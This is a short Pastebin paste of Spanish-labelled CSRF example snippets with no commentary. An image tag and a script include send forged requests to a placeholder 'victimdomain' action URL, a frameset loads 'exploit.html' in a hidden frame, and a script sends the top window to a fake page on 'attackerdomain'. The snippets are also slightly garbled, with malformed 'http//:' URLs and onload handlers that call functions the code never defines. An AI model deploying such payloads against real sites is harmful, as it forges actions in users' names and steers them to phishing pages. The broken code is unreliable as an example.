Advertisement
Guest User

Untitled

a guest
May 27th, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. <script src="http//:victimdomain/js/myscript.js"></script>
  2.  
  3. <body onload="sendRequest("Bob");">
  4.  
  5. <img src="http//:victimdomain/action?param=Bob" />
  6.  
  7. <html>
  8. <head>
  9. <title>ejemplo CSRF</title>
  10. </head>
  11. <frameset cols="1%, 99%">
  12. <frame src="exploit.html">
  13. <frame src="empty.html">
  14. </frameset>
  15. </html>
  16.  
  17. <img src="http//:victimdomain/action?param=Bob" />
  18.  
  19. <html>
  20. <head>
  21. <title>ejemplo CSRF</title>
  22. <script>
  23. function peticion() {
  24. setTimeout (function() {
  25. if (top != self) top.location.href = "http://attackerdomain/falsewebsite";
  26. }, 1000);
  27. }
  28. </script>
  29. </head>
  30. <body onload="redirect();">
  31. </body>
  32. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement